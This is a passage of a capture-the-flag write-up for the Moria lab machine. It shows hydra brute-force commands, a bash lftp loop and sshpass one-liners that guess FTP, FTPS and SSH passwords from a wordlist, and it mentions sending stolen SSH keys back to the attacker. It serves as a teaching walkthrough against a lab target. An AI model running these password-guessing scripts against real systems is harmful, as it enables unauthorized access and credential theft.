  58. So index.php is reading in and echoing out the text of this file. Will see later if that comes in handy in any way for abuse.
  59.  
  60. manually connecting to the ftp server, the message we are greated with is:
  61.  
  62. 220 Welcome Balrog!
  63. Name (Balrog:root): Balrog
  64. 331 Please specify the password.
  65. Password:
  66.  
  67. We'll try the name Balrog, and then the others we found in random.txt as we go. Our password wordlist, will consist of the words from the home page image, as well as our random.txt names and keywords in upper, lower, first upper, etc.
  68.  
  69. hydra -L /root/HDD2/ctf/moria/random -P /root/HDD2/ctf/moria/random ftp://192.168.1.251
  70.  
  71. In doing so, ftp closes, and ftps opens on port 900!
  72.  
  73. We try:
  74. hydra -L /root/HDD2/ctf/moria/random -P /root/HDD2/ctf/moria/random ftps://192.168.1.251 -s 900
  75. hydra -L /root/HDD2/ctf/moria/random -P /root/HDD2/ctf/moria/random ftp://192.168.1.251 -s 900 -S
  76.  
  77. and...that closed, and now ftp open again. Need to try this bit differently. Hydra does not seem to be waiting long enough for the responses and may
  78. be crushing it.
  79.  
  80. Lets try something differet. lftp, is a scriptable ftp client. We can work through this in similar fashion to hydra, but in a more controlled way
  81. through a bash script.
  82.  
  83. syntax: lftp -u $user,$pass sftp://target
  84.  
  85. So, lets try
  86.  
  87. Added to our hosts file:
  88. 192.168.1.251 Balrog
  89.  
  90.  
  91. moria.sh
  92. ---------------------------
  93. #!/bin/sh
  94. while IFS='' read -r line || [[ -n "$line" ]]; do
  95. #lets use one user at a time to not trigger port knock maybe, see where this happens.
  96. echo $line #echo the password we try each time and monitor console to see what happens on each attempt
  97. lftp -d -u Balrog,"$line" ftp://balrog:21/ << --EOF--
  98. pwd
  99. quit
  100. --EOF--
  101. done < "/root/HDD2/ctf/moria/random"
  102. ---------------------------
  103.  
  104. we have to edit /etc/lftp.conf and add the following at the end of the file:
  105.  
  106. #set timeout
  107. set net:timeout 2
  108. set net:max-retries 2
  109. set net:reconnect-interval-base 5
  110.  
  111. We'll run this like so:
  112. bash moria.sh > moria.log
  113.  
  114. This will try connecting with the name we give in -u first argument, with the password form each line of the random wordlist file
  115. If Balrog doens't work, then we edit the script and try the next name from random.txt and so on. This seems to not trigger the port close and open on 900
  116.  
  117. Now, the reason I redirected output to moria.log, is because much of this is going to scroll by and off screen. Looking through it in terminal scroll-back is a PITA, and we could potentially miss our login deets if not paying attention. moria.log will show the password we passed and their output for pwd, if it is
  118. successful. The password would be the word on the line directly above the pwd command output.
  119.  
  120. If you see this not working and it trips over to port 900 and closes ftp, shorten your wordlist, wait for ftp to open again, rinse, repeat. This will not be a quick process with a long wordlist, so keep it simple(stupid). There are probably better ways of doing this, but hydra does not seem to be working for me at the moment and keeps triggering port 900 open and 21 closed, even when I specify individual logins. Also, SSH with hydra, closes the port almost
  121. immediatly, so we'll have to be careful how we try our logins.
  122.  
  123. Output on the terminal will look similar to:
  124. 220 Welcome Balrog!

  141.  
  142. where our log that helps us find the password is:
  143.  
  144. Balin
  145. Oin
  146. Ori
  147. mellon
  148. Mellon
  149. ftp://Balrog:Mellon@192.168.1.251:21/%2Fprison
  150. Balrog
  151.  
  152. We see our password worked for "Mellon"
  153.  
  154. :)
  155.  
  156. so deets are "Balrog" and "Mellon"
  157.  
  158. However. /prison, does not look promising..
  159.  
  160. Trying this for SSH, we realize this isn't going to work here either:
  161. ssh Balrog@192.168.1.251
  162. Balrog@192.168.1.251's password:
  163. Last failed login: Fri Apr 21 07:54:13 EDT 2017 from 192.168.1.66 on ssh:notty
  164. There were 2 failed login attempts since the last successful login.
  165. Last login: Sun Mar 12 22:39:59 2017
  166.  
  167. WRONG GATE!
  168.  
  169. Connection to 192.168.1.251 closed.
  170. root@kali:/mnt/HDD2/ctf/moria#
  171.  
  172. sftp Balrog@192.168.1.251 900
  173. Balrog@192.168.1.251's password:
  174. Received message too long 173494863
  175.  
  176.  
  177. so back to moria over ftp.
  178.  
  179. ftp Balrog
  180. user: Balrog
  181. pass: Mellon
  182.  
  183. pwd
  184. /prison
  185.  
  186. we can't list or put any files up, denied.
  187. keeps asking for pasv mode. We enter:
  188. quote pasv
  189. and now we can list files.
  190.  
  191. cd /var/www/html
  192. ls
  193. ftp> ls
  194. 200 PORT command successful. Consider using PASV.
  195. 150 Here comes the directory listing.

  258.  
  259. Nice and quick!!
  260.  
  261. We already know Balrog is Mellon and not going to work on SSH.
  262.  
  263. We've now got some more items we can add to a password/wordlist
  264.  
  265. ftp logins with the above don't seem to work. we can try triggering port 900 again, and seeing if any of these will work.
  266.  
  267. We try:
  268. hydra -l Balin -P random ftps://balrog -s900
  269. hydra -l Balin -P random ftp://balrog -s900 -S
  270.  
  271. Neither work
  272. :(
  273.  
  274. hydra -L names -P random ftps://balrog -s900
  275. hydra -L names -P random ftp://balrog -s900 -S
  276.  
  277. we can adjust our lftp script again.
  278.  
  279. ---------------------------
  280. #!/bin/sh
  281. while IFS='' read -r line || [[ -n "$line" ]]; do
  282. #lets use one user at a time to not trigger port knock maybe, see where this happens.
  283. echo $line #echo the password we try each time and monitor console to see what happens on each attempt
  284. lftp -d -u Balin,"$line" ftps://192.168.1.251:900/ << --EOF--
  285. pwd
  286. quit
  287. --EOF--
  288. #end of file delimeter
  289. done < "/root/HDD2/ctf/moria/random"
  290. ---------------------------
  291.  
  292.  
  293. so none of these seem to work for ftp or ftps
  294.  
  295. Lets try ssh:
  296.  
  297. hydra -L names -P random ssh://balrog
  298.  
  299. thesearen't going well with hydra. Ports keep closing, including SSH. lftp doesn't suport ssh either. So, we try each user, one at a time.
  300.  
  301. --------------------------
  302. #!/bin/sh
  303. ## balrog ssh attempts
  304. sshpass -f <(printf '%s\n' darkness) ssh Thrain@balrog
  305. sshpass -f <(printf '%s\n' magic) ssh Telchar@balrog
  306. sshpass -f <(printf '%s\n' abcdef) ssh Dain@balrog

  413. Ho! Ho! Ho! to the bottle I go
  414. To heal my heart and drown my woe.
  415. Rain may fall and wind may blow,
  416. And many miles be still to go,
  417. But under a tall tree I will lie,
  418. And let the clouds go sailing by.

  423. we tarball .ssh files and send them back to us for the keys.

  425. id_rsa file seems corrupt, lets send by itself

  428. Later we find these don't work because known_hosts, indicates that the user is logging into SSH is over 127.0.0.1 from the logged in account. This requirs us to ssh while logged in as Ori To root? Oh yeah!

  458. “All that is gold does not glitter,
  459. Not all those who wander are lost;
  460. The old that is strong does not wither,
  461. Deep roots are not reached by the frost.
  462.  
  463. From the ashes a fire shall be woken,
  464. A light from the shadows shall spring;
  465. Renewed shall be blade that was broken,
  466. The crownless again shall be king.”
